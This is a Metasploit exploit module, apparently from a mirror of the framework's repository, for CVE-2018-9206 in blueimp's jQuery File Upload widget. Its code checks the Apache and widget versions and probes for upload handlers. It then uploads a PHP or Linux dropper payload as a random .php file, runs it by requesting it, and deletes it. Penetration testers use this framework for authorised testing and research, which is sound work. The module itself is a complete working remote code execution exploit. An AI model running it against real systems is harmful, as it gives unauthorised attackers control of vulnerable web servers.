Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/jquery_file_upload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::PhpEXE1112def initialize(info = {})13super(update_info(info,14'Name' => "blueimp's jQuery (Arbitrary) File Upload",15'Description' => %q{16This module exploits an arbitrary file upload in the sample PHP upload17handler for blueimp's jQuery File Upload widget in versions <= 9.22.0.1819Due to a default configuration in Apache 2.3.9+, the widget's .htaccess20file may be disabled, enabling exploitation of this vulnerability.2122This vulnerability has been exploited in the wild since at least 201523and was publicly disclosed to the vendor in 2018. It has been present24since the .htaccess change in Apache 2.3.9.2526This module provides a generic exploit against the jQuery widget.27},28'Author' => [29'Claudio Viviani', # WordPress Work the Flow (Arbitrary) File Upload30'Larry W. Cashdollar', # (Re)discovery, vendor disclosure, and PoC31'wvu' # Metasploit module32],33'References' => [34['CVE', '2018-9206'],35['URL', 'http://www.vapidlabs.com/advisory.php?v=204'],36['URL', 'https://github.com/blueimp/jQuery-File-Upload/pull/3514'],37['URL', 'https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206'],38['URL', 'https://www.homelab.it/index.php/2015/04/04/wordpress-work-the-flow-file-upload-vulnerability/'],39['URL', 'https://github.com/rapid7/metasploit-framework/pull/5130'],40['URL', 'https://httpd.apache.org/docs/current/mod/core.html#allowoverride']41],42'DisclosureDate' => '2018-10-09', # Larry's disclosure to the vendor43'License' => MSF_LICENSE,44'Platform' => ['php', 'linux'],45'Arch' => [ARCH_PHP, ARCH_X86, ARCH_X64],46'Privileged' => false,47'Targets' => [48['PHP Dropper', 'Platform' => 'php', 'Arch' => ARCH_PHP],49['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64]]50],51'DefaultTarget' => 052))5354register_options([55OptString.new('TARGETURI', [true, 'Base path', '/jQuery-File-Upload'])56])57end5859def version_paths60%w[61/package.json62/bower.json63].map { |u| normalize_uri(target_uri.path, u) }64end6566# List from PoC sorted by frequency67def upload_paths68%w[69/server/php/index.php70/server/php/upload.class.php71/server/php/UploadHandler.php72/example/upload.php73/php/index.php74].map { |u| normalize_uri(target_uri.path, u) }75end7677def check78a = nil7980version_paths.each do |u|81vprint_status("Checking #{u}")8283res = send_request_cgi(84'method' => 'GET',85'uri' => u86)8788next unless res8990unless a91res.headers['Server'] =~ /Apache\/([\d.]+)/ &&92$1 && (a = Rex::Version.new($1))9394if a && a >= Rex::Version.new('2.3.9')95vprint_good("Found Apache #{a} (AllowOverride None may be set)")96elsif a97vprint_warning("Found Apache #{a} (AllowOverride All may be set)")98end99end100101next unless res.code == 200 && (j = res.get_json_document) &&102j['version'] && (v = Rex::Version.new(j['version']))103104if v <= Rex::Version.new('9.22.0')105vprint_good("Found unpatched jQuery File Upload #{v}")106return CheckCode::Appears107else108vprint_error("Found patched jQuery File Upload #{v}")109return CheckCode::Safe110end111end112113CheckCode::Unknown114end115116def find_upload117upload_paths.each do |u|118vprint_status("Checking #{u}")119120res = send_request_cgi(121'method' => 'GET',122'uri' => u123)124125if res && res.code == 200126vprint_good("Found #{u}")127return u128end129end130131nil132end133134def exploit135unless check == CheckCode::Appears && (u = find_upload)136fail_with(Failure::NotFound, 'Could not find target')137end138139f = "#{rand_text_alphanumeric(8..42)}.php"140p = normalize_uri(File.dirname(u), 'files', f)141142print_status('Uploading payload')143res = upload_payload(u, f)144145unless res && res.code == 200 && res.body.include?(f)146fail_with(Failure::NotVulnerable, 'Could not upload payload')147end148149print_good("Payload uploaded: #{full_uri(p)}")150151print_status('Executing payload')152exec_payload(p)153154print_status('Deleting payload')155delete_payload(u, f)156end157158def upload_payload(u, f)159p = get_write_exec_payload(unlink_self: true)160161m = Rex::MIME::Message.new162m.add_part(p, nil, nil, %(form-data; name="files[]"; filename="#{f}"))163164send_request_cgi(165'method' => 'POST',166'uri' => u,167'ctype' => "multipart/form-data; boundary=#{m.bound}",168'data' => m.to_s169)170end171172def exec_payload(p)173send_request_cgi({174'method' => 'GET',175'uri' => p176}, 0)177end178179def delete_payload(u, f)180send_request_cgi(181'method' => 'DELETE',182'uri' => u,183'vars_get' => {'file' => f}184)185end186187end188189190